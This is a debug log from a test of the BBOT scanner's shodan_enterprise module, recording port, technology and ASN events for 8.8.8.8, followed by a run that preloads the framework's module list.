base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check -2026-02-27 22:18:28,446 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:18:28,446 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:18:28,447 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,448 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:18:28,448 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:18:28,449 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:18:28,449 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:18:28,450 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,450 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,450 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:18:28,451 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:18:28,451 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:18:28,452 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:18:28,452 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:18:28,453 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 22:18:28,453 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check -2026-02-27 22:18:28,454 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:18:28,454 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,455 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:18:28,455 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,456 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,456 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) -2026-02-27 22:18:28,456 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) because precheck succeeded -2026-02-27 22:18:28,457 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:18:28,457 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:18:28,458 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,458 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:18:28,459 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) because precheck succeeded -2026-02-27 22:18:28,459 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,460 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,460 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:18:28,461 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:18:28,529 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:18:28,530 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,532 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:18:28,532 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,533 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 22:18:28,533 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:18:28,534 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) from shodan_enterprise -2026-02-27 22:18:28,534 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'security', 'in-scope'}) passed post-check -2026-02-27 22:18:28,535 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) from shodan_enterprise -2026-02-27 22:18:28,535 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:18:28,535 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:18:28,536 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:18:28,536 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 22:18:28,537 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 22:18:28,537 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 22:18:28,538 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 22:18:28,538 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 22:18:28,539 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 22:18:28,539 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 22:18:28,539 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 22:18:28,639 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 22:18:28,640 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 22:18:28,660 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 22:18:28,661 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 22:18:28,661 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 22:18:28,669 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 22:18:28,669 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 22:18:28,670 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 22:18:28,671 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 22:18:28,672 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 22:18:28,673 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 22:18:28,798 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_dqhm1dppli completed in 0 seconds with status FINISHED -2026-02-27 22:18:28,798 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 22:18:28,799 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:18:28,801 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events -2026-02-27 22:18:28,802 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-02-27 22:19:49,081 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:19:49,093 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:19:49,094 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:19:49,095 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:19:49,096 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:19:49,098 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:19:49,100 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:19:49,101 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:19:49,106 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:19:49,108 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:19:49,109 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:19:49,110 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:19:49,112 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:19:49,113 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:19:49,114 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:19:49,116 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:19:49,117 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:19:49,117 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:19:49,118 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:19:49,119 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:19:49,120 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:19:49,121 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:19:49,122 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:19:49,123 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:19:49,124 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:19:49,126 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:19:49,127 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:19:49,128 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:19:49,129 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:19:49,135 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:19:49,137 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:19:49,138 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:19:49,139 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:19:49,141 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:19:49,142 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:19:49,143 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:19:49,144 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:19:49,145 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:19:49,146 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:19:49,148 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:19:49,149 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:19:49,150 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:19:49,151 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:19:49,152 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:19:49,153 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:19:49,154 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:19:49,155 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:19:49,156 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:19:49,157 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:19:49,159 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:19:49,160 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:19:49,162 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:19:49,163 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:19:49,164 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:19:49,165 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:19:49,173 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:19:49,175 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:19:49,176 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:19:49,177 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:19:49,179 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:19:49,180 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:19:49,182 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:19:49,183 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:19:49,184 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 22:19:49,185 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:19:49,187 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:19:49,188 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:19:49,189 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 22:19:49,190 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:19:49,191 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:19:49,193 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:19:49,194 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:19:49,195 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:19:49,196 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:19:49,197 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:19:49,198 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:19:49,199 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:19:49,201 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:19:49,203 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:19:49,205 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:19:49,207 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:19:49,210 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:19:49,213 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:19:49,214 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:19:49,216 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:19:49,217 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:19:49,218 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:19:49,220 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:19:49,221 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:19:49,222 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:19:49,223 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:19:49,225 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:19:49,227 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:19:49,228 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:19:49,230 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:19:49,233 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:19:49,234 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:19:49,236 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:19:49,237 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:19:49,238 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:19:49,239 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:19:49,242 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:19:49,243 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:19:49,244 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:19:49,246 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:19:49,247 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:19:49,249 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:19:49,250 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 22:19:49,252 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:19:49,253 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:19:49,254 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:19:49,256 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:19:49,257 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:19:49,259 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:19:49,261 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:19:49,262 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:19:49,264 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:19:49,266 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:19:49,268 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:19:49,269 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:19:49,271 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:19:49,272 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:19:49,273 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:19:49,274 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:19:49,275 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:19:49,277 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:19:49,278 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:19:49,279 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:19:49,281 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:19:49,282 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:19:49,283 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:19:49,284 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:19:49,286 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:19:49,287 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:19:49,288 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:19:49,289 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:19:49,291 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:19:49,292 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:19:49,294 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:19:49,296 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:19:49,298 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:19:49,300 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:19:49,301 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:19:49,303 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:19:49,305 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:19:49,306 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:19:49,307 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:19:49,311 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:19:49,314 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:19:49,317 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:19:49,318 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:19:49,319 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:19:49,321 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:19:49,322 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:19:49,324 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:19:49,327 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:19:49,329 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:19:49,332 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:19:49,333 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:19:49,335 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:19:49,337 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:19:49,339 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:19:49,340 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 